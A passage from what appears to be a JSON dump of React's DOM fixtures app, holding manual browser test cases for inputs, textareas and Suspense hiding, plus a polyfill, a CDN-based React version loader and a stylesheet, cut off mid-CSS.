<TestCase.ExpectedResult>\n            Text selection is preserved when hiding, but not when removing.\n          </TestCase.ExpectedResult>\n\n          <Fixture>\n            <SuspendyTree>\n              Select a range that includes both this sentence and the \"Go\"\n              button.\n            </SuspendyTree>\n          </Fixture>\n        </TestCase>\n        <TestCase title=\"Focus\">\n          <TestCase.Steps>\n            <li>\n              Use your cursor to select a range that includes both the text and\n              the \"Go\" button.\n            </li>\n            <li>\n              Instead of clicking \"Go\", which switches focus, press Command +\n              Enter (or Control + Enter on Windows, Linux).\n            </li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            The ideal behavior is that the focus would not be lost, but\n            currently it is (both when hiding and removing).\n          </TestCase.ExpectedResult>\n\n          <Fixture>\n            <SuspendyTree>\n              <button>Focus me</button>\n            </SuspendyTree>\n          </Fixture>\n        </TestCase>\n        <TestCase title=\"Uncontrolled form input\">\n          <TestCase.Steps>\n            <li>Type something (\"Hello\") into the text input.</li>\n            <li>Click \"Hide\" or \"Remove\".</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            Input is preserved when hiding, but not when removing.\n          </TestCase.ExpectedResult>\n\n          <Fixture>\n            <SuspendyTree>\n              <input type=\"text\" />\n            </SuspendyTree>\n          </Fixture>\n        </TestCase>\n        <TestCase title=\"Image flicker\">\n          <TestCase.Steps>\n            <li>Click \"Hide\" or \"Remove\".</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            The image should reappear without flickering. The text should not\n            reflow.\n          </TestCase.ExpectedResult>\n\n          <Fixture>\n            <SuspendyTree>\n              <img src=\"https://upload.wikimedia.org/wikipedia/commons/1/1b/Atom.png\" />\n              React is cool\n            </SuspendyTree>\n          </Fixture>\n        </TestCase>\n        <TestCase title=\"Iframe\">\n          <TestCase.Steps>\n            <li>\n              The iframe shows a nested version of this fixtures app. Navigate\n              to the \"Text inputs\" page.\n            </li>\n            <li>Select one of the checkboxes.</li>\n            <li>Click \"Hide\" or \"Remove\".</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            When removing, the iframe is reloaded. When hiding, the iframe\n            should still be on the \"Text inputs\" page. The checkbox should still\n            be checked. (Unfortunately, scroll position is lost.)\n          </TestCase.ExpectedResult>\n\n          <Fixture>\n            <SuspendyTree>\n              <iframe width=\"500\" height=\"300\" src=\"/\" />\n            </SuspendyTree>\n          </Fixture>\n        </TestCase>\n        <TestCase title=\"Video playback\">\n          <TestCase.Steps>\n            <li>Start playing the video, or seek to a specific position.</li>\n            <li>Click \"Hide\" or \"Remove\".</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            The playback position should stay the same. When hiding, the video\n            plays in the background for the entire duration. When removing, the\n            video stops playing, but the position is not lost.\n          </TestCase.ExpectedResult>\n\n          <Fixture>\n            <SuspendyTree>\n              <video controls>\n                <source\n                  src=\"http://techslides.com/demos/sample-videos/small.webm\"\n                  type=\"video/webm\"\n                />\n                <source\n                  src=\"http://techslides.com/demos/sample-videos/small.ogv\"\n                  type=\"video/ogg\"\n                />\n                <source\n                  src=\"http://techslides.com/demos/sample-videos/small.mp4\"\n                  type=\"video/mp4\"\n                />\n                <source\n                  src=\"http://techslides.com/demos/sample-videos/small.3gp\"\n                  type=\"video/3gp\"\n                />\n              </video>\n            </SuspendyTree>\n          </Fixture>\n        </TestCase>\n        <TestCase title=\"Audio playback\">\n          <TestCase.Steps>\n            <li>Start playing the audio, or seek to a specific position.</li>\n            <li>Click \"Hide\" or \"Remove\".</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            The playback position should stay the same. When hiding, the audio\n            plays in the background for the entire duration. When removing, the\n            audio stops playing, but the position is not lost.\n          </TestCase.ExpectedResult>\n          <Fixture>\n            <SuspendyTree>\n              <audio controls={true}>\n                <source src=\"https://upload.wikimedia.org/wikipedia/commons/e/ec/Mozart_K448.ogg\" />\n              </audio>\n            </SuspendyTree>\n          </Fixture>\n        </TestCase>\n        <TestCase title=\"Scroll position\">\n          <TestCase.Steps>\n            <li>Scroll to a position in the list.</li>\n            <li>Click \"Hide\" or \"Remove\".</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            Scroll position is preserved when hiding, but not when removing.\n          </TestCase.ExpectedResult>\n          <Fixture>\n            <SuspendyTree>\n              <div style={{height: 200, overflow: 'scroll'}}>\n                {Array(20)\n                  .fill()\n                  .map((_, i) => (\n                    <h2 key={i}>{i + 1}</h2>\n                  ))}\n              </div>\n            </SuspendyTree>\n          </Fixture>\n        </TestCase>\n      </FixtureSet>\n    );\n  }\n}\n\nexport default TextInputFixtures;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/text-inputs/InputTestCase.js",
    "content": "import Fixture from '../../Fixture';\nconst React = window.React;\n\nclass InputTestCase extends React.Component {\n  static defaultProps = {\n    type: 'text',\n    defaultValue: '',\n    parseAs: 'text',\n  };\n\n  constructor() {\n    super(...arguments);\n\n    this.state = {\n      value: this.props.defaultValue,\n    };\n  }\n\n  onChange = event => {\n    const raw = event.target.value;\n\n    switch (this.props.type) {\n      case 'number':\n        const parsed = parseFloat(event.target.value, 10);\n\n        this.setState({value: isNaN(parsed) ? '' : parsed});\n\n        break;\n      default:\n        this.setState({value: raw});\n    }\n  };\n\n  render() {\n    const {children, type, defaultValue} = this.props;\n    const {value} = this.state;\n\n    return (\n      <Fixture>\n        <div>{children}</div>\n\n        <div className=\"control-box\">\n          <fieldset>\n            <legend>Controlled {type}</legend>\n            <input type={type} value={value} onChange={this.onChange} />\n            <p className=\"hint\">Value: {JSON.stringify(this.state.value)}</p>\n          </fieldset>\n\n          <fieldset>\n            <legend>Uncontrolled {type}</legend>\n            <input type={type} defaultValue={defaultValue} />\n          </fieldset>\n        </div>\n      </Fixture>\n    );\n  }\n}\n\nexport default InputTestCase;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/text-inputs/README.md",
    "content": "# Text Inputs\n\nThere are a couple of important concepts to be aware of when working on text\ninputs in React.\n\n## `defaultValue` vs `value`\n\nAn input's value is drawn from two properties: `defaultValue` and `value`.\n\nThe `defaultValue` property directly maps to the value _attribute_, for example:\n\n```javascript\nvar input = document.createElement('input')\ninput.defaultValue = 'hello'\n\nconsole.log(input.getAttribute('value')) // => \"hello\"\n```\n\nThe `value` property manipulates the _working value_ for the input. This property\nchanges whenever the user interacts with an input, or it is modified with JavaScript:\n\n```javascript\nvar input = document.createElement('input')\ninput.defaultValue = 'hello'\ninput.value = 'goodbye'\n\nconsole.log(input.getAttribute('value')) // => \"hello\"\nconsole.log(input.value) // => \"goodbye\"\n```\n\n## value detachment\n\nUntil `value` is manipulated by a user or JavaScript, manipulating `defaultValue`\nwill also modify the `value` property:\n\n```javascript\nvar input = document.createElement('input')\n// This will turn into 3\ninput.defaultValue = 3\n// This will turn into 5\ninput.defaultValue = 5\n// This will turn into 7\ninput.value = 7\n// This will do nothing\ninput.defaultValue = 1\n```\n\n**React detaches all inputs**. This prevents `value` from accidentally updating if\n`defaultValue` changes.\n\n## Form reset events\n\nReact does not support `form.reset()` for controlled inputs. This is a feature,\nnot a bug. `form.reset()` works by reverting an input's `value` _property_ to\nthat of the current `defaultValue`. Since React assigns the value `attribute`\nevery time a controlled input's value changes, controlled inputs will never\n\"revert\" back to their original display value.\n\n## Number inputs\n\nChrome (55) and Safari (10) attempt to \"correct\" the value of number inputs any\ntime the value property or attribute are changed. This leads to some edge documented\nhere:\n\nhttps://github.com/facebook/react/pull/7359#issuecomment-256499693\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/text-inputs/ReplaceEmailInput.js",
    "content": "import Fixture from '../../Fixture';\n\nconst React = window.React;\n\nclass ReplaceEmailInput extends React.Component {\n  state = {\n    formSubmitted: false,\n  };\n\n  onReset = () => {\n    this.setState({formSubmitted: false});\n  };\n\n  onSubmit = event => {\n    event.preventDefault();\n    this.setState({formSubmitted: true});\n  };\n\n  render() {\n    return (\n      <Fixture>\n        <form className=\"control-box\" onSubmit={this.onSubmit}>\n          <fieldset>\n            <legend>Email</legend>\n            {!this.state.formSubmitted ? (\n              <input type=\"email\" />\n            ) : (\n              <input type=\"text\" disabled={true} />\n            )}\n          </fieldset>\n        </form>\n        <button type=\"button\" onClick={this.onReset}>\n          Reset\n        </button>\n      </Fixture>\n    );\n  }\n}\n\nexport default ReplaceEmailInput;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/text-inputs/index.js",
    "content": "import Fixture from '../../Fixture';\nimport FixtureSet from '../../FixtureSet';\nimport TestCase from '../../TestCase';\nimport InputTestCase from './InputTestCase';\nimport ReplaceEmailInput from './ReplaceEmailInput';\n\nconst React = window.React;\n\nclass TextInputFixtures extends React.Component {\n  render() {\n    return (\n      <FixtureSet\n        title=\"Inputs\"\n        description=\"Common behavior across controlled and uncontrolled inputs\">\n        <TestCase title=\"Numbers in a controlled text field with no handler\">\n          <TestCase.Steps>\n            <li>Move the cursor to after \"2\" in the text field</li>\n            <li>Type \".2\" into the text input</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            The text field's value should not update.\n          </TestCase.ExpectedResult>\n\n          <Fixture>\n            <div className=\"control-box\">\n              <fieldset>\n                <legend>Value as number</legend>\n                <input value={2} onChange={() => {}} />\n              </fieldset>\n\n              <fieldset>\n                <legend>Value as string</legend>\n                <input value={'2'} onChange={() => {}} />\n              </fieldset>\n            </div>\n          </Fixture>\n\n          <p className=\"footnote\">\n            This issue was first introduced when we added extra logic to number\n            inputs to prevent unexpected behavior in Chrome and Safari (see the\n            number input test case).\n          </p>\n        </TestCase>\n\n        <TestCase\n          title=\"Required Inputs\"\n          affectedBrowsers=\"Firefox\"\n          relatedIssues=\"8395\">\n          <TestCase.Steps>\n            <li>View this test in Firefox</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            You should{' '}\n            <b>\n              <i>not</i>\n            </b>{' '}\n            see a red aura, indicating the input is invalid.\n            <br />\n            This aura looks roughly like:\n            <input style={{boxShadow: '0 0 1px 1px red', marginLeft: 8}} />\n          </TestCase.ExpectedResult>\n\n          <Fixture>\n            <form className=\"control-box\">\n              <fieldset>\n                <legend>Empty value prop string</legend>\n                <input value=\"\" required={true} />\n              </fieldset>\n              <fieldset>\n                <legend>No value prop</legend>\n                <input required={true} />\n              </fieldset>\n              <fieldset>\n                <legend>Empty defaultValue prop string</legend>\n                <input required={true} defaultValue=\"\" />\n              </fieldset>\n              <fieldset>\n                <legend>No value prop date input</legend>\n                <input type=\"date\" required={true} />\n              </fieldset>\n              <fieldset>\n                <legend>Empty value prop date input</legend>\n                <input type=\"date\" value=\"\" required={true} />\n              </fieldset>\n            </form>\n          </Fixture>\n\n          <p className=\"footnote\">\n            Checking the date type is also important because of a prior fix for\n            iOS Safari that involved assigning over value/defaultValue\n            properties of the input to prevent a display bug. This also triggers\n            input validation.\n          </p>\n          <p className=\"footnote\">\n            The date inputs should be blank in iOS. This is not a bug.\n          </p>\n        </TestCase>\n\n        <TestCase title=\"Cursor when editing email inputs\">\n          <TestCase.Steps>\n            <li>Type \"user@example.com\"</li>\n            <li>Select \"@\"</li>\n            <li>Type \".\", to replace \"@\" with a period</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            The text field's cursor should not jump to the end.\n          </TestCase.ExpectedResult>\n\n          <InputTestCase type=\"email\" defaultValue=\"\" />\n        </TestCase>\n\n        <TestCase title=\"Cursor when editing url inputs\">\n          <TestCase.Steps>\n            <li>Type \"http://www.example.com\"</li>\n            <li>Select \"www.\"</li>\n            <li>Press backspace/delete</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            The text field's cursor should not jump to the end.\n          </TestCase.ExpectedResult>\n\n          <InputTestCase type=\"url\" defaultValue=\"\" />\n        </TestCase>\n\n        <TestCase\n          title=\"Replacing email input with text disabled input\"\n          relatedIssues=\"12062\">\n          <TestCase.Steps>\n            <li>Type \"test@test.com\"</li>\n            <li>Press enter</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            There should be no selection-related error in the console.\n          </TestCase.ExpectedResult>\n\n          <ReplaceEmailInput />\n        </TestCase>\n\n        <TestCase title=\"All inputs\" description=\"General test of all inputs\">\n          <InputTestCase type=\"text\" defaultValue=\"Text\" />\n          <InputTestCase type=\"email\" defaultValue=\"user@example.com\" />\n          <InputTestCase type=\"number\" defaultValue={0} />\n          <InputTestCase type=\"url\" defaultValue=\"http://example.com\" />\n          <InputTestCase type=\"tel\" defaultValue=\"555-555-5555\" />\n          <InputTestCase type=\"color\" defaultValue=\"#ff0000\" />\n          <InputTestCase type=\"date\" defaultValue=\"2017-01-01\" />\n          <InputTestCase\n            type=\"datetime-local\"\n            defaultValue=\"2017-01-01T01:00\"\n          />\n          <InputTestCase type=\"time\" defaultValue=\"01:00\" />\n          <InputTestCase type=\"month\" defaultValue=\"2017-01\" />\n          <InputTestCase type=\"week\" defaultValue=\"2017-W01\" />\n          <InputTestCase type=\"range\" defaultValue={0.5} />\n          <InputTestCase type=\"password\" defaultValue=\"\" />\n        </TestCase>\n      </FixtureSet>\n    );\n  }\n}\n\nexport default TextInputFixtures;\n"
  },
  {
    "path": "fixtures/dom/src/components/fixtures/textareas/index.js",
    "content": "import Fixture from '../../Fixture';\nimport FixtureSet from '../../FixtureSet';\nimport TestCase from '../../TestCase';\n\nconst React = window.React;\n\nexport default class TextAreaFixtures extends React.Component {\n  state = {value: ''};\n  onChange = event => {\n    this.setState({value: event.target.value});\n  };\n  render() {\n    return (\n      <FixtureSet title=\"Textareas\">\n        <TestCase\n          title=\"Kitchen Sink\"\n          description=\"Verify that the controlled textarea displays its value under 'Controlled Output', and that both textareas can be typed in\">\n          <div>\n            <form className=\"container\">\n              <fieldset>\n                <legend>Controlled</legend>\n                <textarea value={this.state.value} onChange={this.onChange} />\n              </fieldset>\n              <fieldset>\n                <legend>Uncontrolled</legend>\n                <textarea defaultValue=\"\" />\n              </fieldset>\n            </form>\n            <div className=\"container\">\n              <h4>Controlled Output:</h4>\n              <div className=\"output\">{this.state.value}</div>\n            </div>\n          </div>\n        </TestCase>\n        <TestCase title=\"Placeholders\">\n          <TestCase.ExpectedResult>\n            The textarea should be rendered with the placeholder \"Hello, world\"\n          </TestCase.ExpectedResult>\n          <div style={{margin: '10px 0px'}}>\n            <textarea placeholder=\"Hello, world\" />\n          </div>\n        </TestCase>\n\n        <TestCase\n          title=\"Required Textareas\"\n          affectedBrowsers=\"Firefox\"\n          relatedIssues=\"16402\">\n          <TestCase.Steps>\n            <li>View this test in Firefox</li>\n          </TestCase.Steps>\n\n          <TestCase.ExpectedResult>\n            You should{' '}\n            <b>\n              <i>not</i>\n            </b>{' '}\n            see a red aura on initial page load, indicating the textarea is\n            invalid.\n            <br />\n            This aura looks roughly like:\n            <textarea style={{boxShadow: '0 0 1px 1px red', marginLeft: 8}} />\n          </TestCase.ExpectedResult>\n\n          <Fixture>\n            <form className=\"control-box\">\n              <fieldset>\n                <legend>Empty value prop string</legend>\n                <textarea value=\"\" required={true} />\n              </fieldset>\n              <fieldset>\n                <legend>No value prop</legend>\n                <textarea required={true} />\n              </fieldset>\n              <fieldset>\n                <legend>Empty defaultValue prop string</legend>\n                <textarea required={true} defaultValue=\"\" />\n              </fieldset>\n            </form>\n          </Fixture>\n        </TestCase>\n      </FixtureSet>\n    );\n  }\n}\n"
  },
  {
    "path": "fixtures/dom/src/components/propTypes.js",
    "content": "import PropTypes from 'prop-types';\nimport semver from 'semver';\n\nexport function semverString(props, propName, componentName) {\n  let version = props[propName];\n\n  let error = PropTypes.string(...arguments);\n  if (!error && version != null && !semver.valid(version))\n    error = new Error(\n      `\\`${propName}\\` should be a valid \"semantic version\" matching ` +\n        'an existing React version'\n    );\n\n  return error || null;\n}\n"
  },
  {
    "path": "fixtures/dom/src/find-dom-node.js",
    "content": "/**\n * Provides a standard way to access a DOM node across all versions of\n * React.\n */\n\nimport {reactPaths} from './react-loader';\n\nconst React = window.React;\nconst ReactDOM = window.ReactDOM;\n\nexport function findDOMNode(target) {\n  const {needsReactDOM} = reactPaths();\n\n  if (needsReactDOM) {\n    return ReactDOM.findDOMNode(target);\n  } else {\n    // eslint-disable-next-line\n    return React.findDOMNode(target);\n  }\n}\n"
  },
  {
    "path": "fixtures/dom/src/index.js",
    "content": "import './polyfills';\nimport loadReact, {isLocal} from './react-loader';\n\nif (isLocal()) {\n  Promise.all([\n    import('react'),\n    import('react-dom'),\n    import('react-dom/client'),\n  ])\n    .then(([React, ReactDOM, ReactDOMClient]) => {\n      if (\n        React === undefined ||\n        ReactDOM === undefined ||\n        ReactDOMClient === undefined\n      ) {\n        throw new Error(\n          'Unable to load React. Build experimental and then run `yarn dev` again'\n        );\n      }\n      window.React = React;\n      window.ReactDOM = ReactDOM;\n      window.ReactDOMClient = ReactDOMClient;\n    })\n    .then(() => import('./components/App'))\n    .then(App => {\n      window.ReactDOMClient.createRoot(document.getElementById('root')).render(\n        window.React.createElement(App.default)\n      );\n    });\n} else {\n  loadReact()\n    .then(() => import('./components/App'))\n    .then(App => {\n      const {React, ReactDOM} = window;\n      if (\n        typeof window.ReactDOMClient !== 'undefined' &&\n        typeof window.ReactDOMClient.createRoot !== 'undefined'\n      ) {\n        // we are in a React that only supports modern roots\n\n        window.ReactDOMClient.createRoot(\n          document.getElementById('root')\n        ).render(React.createElement(App.default));\n      } else {\n        ReactDOM.render(\n          React.createElement(App.default),\n          document.getElementById('root')\n        );\n      }\n    });\n}\n"
  },
  {
    "path": "fixtures/dom/src/polyfills.js",
    "content": "import 'core-js/es6/symbol';\nimport 'core-js/es6/promise';\nimport 'core-js/es6/set';\nimport 'core-js/es6/map';\n\n// http://paulirish.com/2011/requestanimationframe-for-smart-animating/\n// http://my.opera.com/emoller/blog/2011/12/20/requestanimationframe-for-smart-er-animating\n\n// requestAnimationFrame polyfill by Erik Möller. fixes from Paul Irish and Tino Zijdel\n// MIT license\n(function () {\n  var lastTime = 0;\n  var vendors = ['ms', 'moz', 'webkit', 'o'];\n  for (var x = 0; x < vendors.length && !window.requestAnimationFrame; ++x) {\n    window.requestAnimationFrame = window[vendors[x] + 'RequestAnimationFrame'];\n    window.cancelAnimationFrame =\n      window[vendors[x] + 'CancelAnimationFrame'] ||\n      window[vendors[x] + 'CancelRequestAnimationFrame'];\n  }\n\n  if (!window.requestAnimationFrame)\n    window.requestAnimationFrame = function (callback, element) {\n      var currTime = new Date().getTime();\n      var timeToCall = Math.max(0, 16 - (currTime - lastTime));\n      var id = window.setTimeout(function () {\n        callback(currTime + timeToCall);\n      }, timeToCall);\n      lastTime = currTime + timeToCall;\n      return id;\n    };\n\n  if (!window.cancelAnimationFrame)\n    window.cancelAnimationFrame = function (id) {\n      clearTimeout(id);\n    };\n})();\n"
  },
  {
    "path": "fixtures/dom/src/react-loader.js",
    "content": "import semver from 'semver';\n\n/**\n * Take a version from the window query string and load a specific\n * version of React.\n *\n * @example\n * http://localhost:3000?version=15.4.1\n * (Loads React 15.4.1)\n */\n\nfunction parseQuery(qstr) {\n  var query = {};\n  var a = qstr.slice(1).split('&');\n\n  for (var i = 0; i < a.length; i++) {\n    var b = a[i].split('=');\n    query[decodeURIComponent(b[0])] = decodeURIComponent(b[1] || '');\n  }\n  return query;\n}\n\nfunction loadScript(src) {\n  let firstScript = document.getElementsByTagName('script')[0];\n  let scriptNode;\n\n  return new Promise((resolve, reject) => {\n    scriptNode = document.createElement('script');\n    scriptNode.async = 1;\n    scriptNode.src = src;\n\n    scriptNode.onload = () => resolve();\n    scriptNode.onerror = () => reject(new Error(`failed to load: ${src}`));\n\n    firstScript.parentNode.insertBefore(scriptNode, firstScript);\n  });\n}\n\nfunction loadModules(SymbolSrcPairs) {\n  let firstScript = document.getElementsByTagName('script')[0];\n\n  let imports = '';\n  SymbolSrcPairs.map(([symbol, src]) => {\n    imports += `import ${symbol} from \"${src}\";\\n`;\n    imports += `window.${symbol} = ${symbol};\\n`;\n  });\n\n  return new Promise((resolve, reject) => {\n    const timeout = setTimeout(\n      () => reject(new Error('Timed out loading react modules over esm')),\n      5000\n    );\n    window.__loaded = () => {\n      clearTimeout(timeout);\n      resolve();\n    };\n\n    const moduleScript = document.createElement('script');\n    moduleScript.type = 'module';\n    moduleScript.textContent = imports + 'window.__loaded();';\n\n    firstScript.parentNode.insertBefore(moduleScript, firstScript);\n  });\n}\n\nfunction getVersion() {\n  let query = parseQuery(window.location.search);\n  return query.version || 'local';\n}\n\nexport function isLocal() {\n  return getVersion() === 'local';\n}\n\nexport function reactPaths(version = getVersion()) {\n  let query = parseQuery(window.location.search);\n  let isProduction = query.production === 'true';\n  let environment = isProduction ? 'production.min' : 'development';\n  let reactPath = `react.${environment}.js`;\n  let reactDOMPath = `react-dom.${environment}.js`;\n  let reactDOMClientPath = `react-dom.${environment}.js`;\n  let reactDOMServerPath = `react-dom-server.browser.${environment}.js`;\n  let needsCreateElement = true;\n  let needsReactDOM = true;\n  let usingModules = false;\n\n  if (version !== 'local') {\n    const {major, minor, prerelease} = semver(version);\n    console.log('semver', semver(version));\n\n    if (major === 0) {\n      needsCreateElement = minor >= 12;\n      needsReactDOM = minor >= 14;\n    }\n\n    const [preReleaseStage] = prerelease;\n    // The file structure was updated in 16. This wasn't the case for alphas.\n    // Load the old module location for anything less than 16 RC\n    if (major >= 19) {\n      usingModules = true;\n      const devQuery = environment === 'development' ? '?dev' : '';\n      reactPath = 'https://esm.sh/react@' + version + '/' + devQuery;\n      reactDOMPath = 'https://esm.sh/react-dom@' + version + '/' + devQuery;\n      reactDOMClientPath =\n        'https://esm.sh/react-dom@' + version + '/client' + devQuery;\n      reactDOMServerPath =\n        'https://esm.sh/react-dom@' + version + '/server.browser' + devQuery;\n    } else if (major >= 16 && !(minor === 0 && preReleaseStage === 'alpha')) {\n      reactPath =\n        'https://unpkg.com/react@' +\n        version +\n        '/umd/react.' +\n        environment +\n        '.js';\n      reactDOMPath =\n        'https://unpkg.com/react-dom@' +\n        version +\n        '/umd/react-dom.' +\n        environment +\n        '.js';\n      reactDOMServerPath =\n        'https://unpkg.com/react-dom@' +\n        version +\n        '/umd/react-dom-server.browser' +\n        environment;\n    } else if (major > 0 || minor > 11) {\n      reactPath = 'https://unpkg.com/react@' + version + '/dist/react.js';\n      reactDOMPath =\n        'https://unpkg.com/react-dom@' + version + '/dist/react-dom.js';\n      reactDOMServerPath =\n        'https://unpkg.com/react-dom@' + version + '/dist/react-dom-server.js';\n    } else {\n      reactPath =\n        'https://cdnjs.cloudflare.com/ajax/libs/react/' + version + '/react.js';\n    }\n  } else {\n    throw new Error(\n      'This fixture no longer works with local versions. Provide a version query parameter that matches a version published to npm to use the fixture.'\n    );\n  }\n\n  return {\n    reactPath,\n    reactDOMPath,\n    reactDOMClientPath,\n    reactDOMServerPath,\n    needsCreateElement,\n    needsReactDOM,\n    usingModules,\n  };\n}\n\nexport default function loadReact() {\n  console.log('reactPaths', reactPaths());\n  const {\n    reactPath,\n    reactDOMPath,\n    reactDOMClientPath,\n    needsReactDOM,\n    usingModules,\n  } = reactPaths();\n\n  if (usingModules) {\n    return loadModules([\n      ['React', reactPath],\n      ['ReactDOM', reactDOMPath],\n      ['ReactDOMClient', reactDOMClientPath],\n    ]);\n  } else {\n    let request = loadScript(reactPath, usingModules);\n\n    if (needsReactDOM) {\n      request = request.then(() => loadScript(reactDOMPath, usingModules));\n    } else {\n      // Aliasing React to ReactDOM for compatibility.\n      request = request.then(() => {\n        window.ReactDOM = window.React;\n      });\n    }\n    return request;\n  }\n}\n"
  },
  {
    "path": "fixtures/dom/src/style.css",
    "content": "*,\n*:before,\n*:after {\n  box-sizing: border-box;\n}\n\nbody {\n  color: #333;\n  font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", \"Arimo\", \"Roboto\", \"Oxygen\",\n    \"Ubuntu\", \"Cantarell\", \"Fira Sans\", \"Droid Sans\", \"Helvetica Neue\",\n    sans-serif;\n  font-size: 15px;\n  line-height: 24px;\n  margin: 0;\n  padding: 0;\n}\n\nbutton {\n  background: white;\n  border-radius: 2px;\n  border: 1px solid rgba(0, 0, 0, 0.24);\n  cursor: pointer;\n  font-size: 16px;\n  margin: 10px;\n  padding: 6px 8px;\n}\n\nh1,\nh2,\nh3,\nh4,\nh5,\nh6 {\n  color: #171717;\n  font-weight: 600;\n}\n\nh1 {\n  font-size: 32px;\n  margin: 24px 0;\n}\n\nh2 {\n  font-size: 24px;\n  margin: 24px 0 16px;\n}\n\nh3 {\n  font-size: 18px;\n  margin: 8px 0 16px;\n}\n\nh4, h5, h6 {\n  font-size: 16px;\n  margin: 0 0 16px;\n}\n\ncode {\n  font-size: 90%;\n}\n\na {\n  text-decoration: none;\n}\n\na:link:hover,\na:link:focus {\n  text-decoration: underline;\n}\n\ntextarea {\n  border-radius: 2px;\n  border: 1px solid #d9d9d9;\n  font-size: 12px;\n  min-height: 100px;\n  min-width: 300px;\n  padding: 8px;\n}\n\n.header {\n  background: #171717;\n  overflow: hidden;\n  padding: 8px;\n}\n\n.header a {\n  text-decoration: none;\n  color: white;\n}\n\n.header a:hover,\n.header a:focus{\n  text-decoration: underline;\n}\n\n.header select {\n  margin-left: 8px;\n  max-width: 150px;\n}\n\n.header__inner {\n  display: table;\n  margin: 0 auto;\n  overflow: hidden;\n  text-align: center;\n  width: 100%;\n}\n\n.header__logo {\n  color: #efefef;\n  display: table-cell;\n  vertical-align: middle;\n  white-space: nowrap;\n}\n\n.header__logo img {\n  display: inline-block;\n  margin-right: 0.8rem;\n  vertical-align: middle;\n}\n\n.header-controls {\n  display: table-cell;\n  text-align: right;\n  vertical-align: middle;\n  width: 100%;\n}\n\n.header__checkbox {\n  vertical-align: middle;\n}\n\n.header__label {\n  font-size: 12px;\n  color: #ccc;\n}\n\n.sr-only {\n  clip: rect(0, 0, 0, 0);\n  height: 0;\n  margin: -1px;\n  position: absolute;\n  width: 0;\n}\n\n.container {\n  margin: 0 auto;\n  max-width: 900px;\n  overflow: hidden;\n  padding: 2rem;\n}\n\n.control-label {\n  display: block;\n  font-size: 1.2rem;\n  letter-spacing: 0.01em;\n  margin-bottom: 0.4rem;\n  text-transform: uppercase;\n}\n\n.field {\n  padding: 0.8rem;\n}\n\nfieldset {\n  border: 1px solid #aaa;\n  float: left;\n  padding: 1.6rem;\n  width: 49%;\n}\n\n.control-box {\n  overflow: hidden;\n}\n\nul,\nol {\n  margin: 0 0 16px 0;\n}\n\np {\n  margin: 16px 0;\n}\n\n.type-subheading {\n  font-size: 1.8rem;\n  font-weight: 600;\n  line-height: 1.5;\n  margin: 0 0 1.6rem;\n}\n\n.hint {\n  font-style: italic;\n  line-height: 1.5;\n}\n\n.footnote {\n  border-left: 4px solid #aaa;\n  color: #444;\n  font-size: 14px;\n  font-style: italic;\n  margin-left: 8px;\n  padding-left: 16px;\n}\n\n.test-case {\n  border-radius: 0.2rem;\n  border: 1px solid #d9d9d9;\n  margin: 3.2rem 0 3.2rem;\n}\n\n.test-case__title {\n  padding: 10px 15px 8px;\n  line-height: 16px;\n  font-size: 18px;\n  border-bottom: 1px dashed #d9d9d9;\n  margin: 0 0 -1px;\n}\n\n.test-case__title__check {\n  display: inline-block;\n  margin-right: 8px;\n  vertical-align: middle;\n}\n\n.test-case__body {\n  padding: 10px 10px 0 10px;\n}\n\n.test-case__desc {\n  font-style: italic;\n  margin: 15px 0;\n  padding: 0 15px;\n}\n\n.test-case--complete {\n  border-color: #5cb85c;\n}\n\n.test-case--complete .test-case__title {\n  color: #5cb85c;\n}\n\n.test-case__details {\n  border-bottom: 1px dashed #d9d9d9;\n  font-size: 80%;\n  text-transform: uppercase;\n  letter-spacing: 0.02em;\n  margin: 0;\n  padding: 0 15px;\n}\n\n.test-case__details > * {\n  display: inline-block;\n}\n\n.test-case__details > dt,\n.test-case__details > dd {\n  padding: 8px 0 6px;\n}\n\n.test-case__details > dt {\n  color: #464a4c;\n  font-weight: 600;\n}\n\n.test-case__details > dd {\n  margin-left: 1rem;\n}\n\n.test-case__details > dd + dt {\n  margin-left: 1.5rem;\n}\n\n.test-case__invalid-version {\n  font-style: italic;\n  font-size: 1.6rem;\n  color: #5cb85c;\n}\n\n.test-fixture {\n  padding: 20px;\n  margin: 0 -10px; /* opposite of .test-case padding */\n  background-color: #f4f4f4;\n  border-top: 1px solid #d9d9d9;\n}\n\n.test-fixture__controls {\n  margin: -20px -20px 20px -20px;\n  padding: 20px;\n  border: 1px solid #444;\n}\n\n.field-group {\n  overflow: hidden;\n}\n\ntable {\n  border: 1px solid #d9d9d9;\n  border-width: 1px 1px 1px 0;\n  border-collapse: collapse;\n  margin: 16px 0;\n  font-size: 14px;\n  line-height: 20px;\n  width: 100%;\n}\n\ntd,\nth {\n  text-align: left;\n  border: 1px solid #d9d9d9;\n  padding: 6px;\n}\n\ntbody tr:nth-child(even) {\n  background: #f0f0f0;\n}\n\n.card-container {\n  display: flex;\n  flex-wrap: wrap;\n}\n\n.card {\n  background: white;\n  border-radius: 2px;\n  border: 1px solid rgba(0, 0, 0, 0.24);\n  margin: 10px;\n  padding: 10px;\n}\n\n.observable-card {\n  height: 200px;\n  border: 1px solid black;\n  background: #e0e0e0;\n  padding: 20px;\n  font-size: 18px;\n  overflow: auto;\n  margin-bottom: 50px;\n  position: relative;\n}\n\n.observable-card::after {\n  content: \"\";\n  position: absolute;\n  top: 50%;\n  left: 0;\n  width: 100%;\n  border-top: 1px dotted red;\n}\n\n.fixed-sidebar {\n  position: fixed;\n  top: 0;\n  left: 0;\n  height: 100%;\n  width: 200px;\n  z-index: 1000;\n  background-color: gray;\n  display: flex;\n  flex-direction: 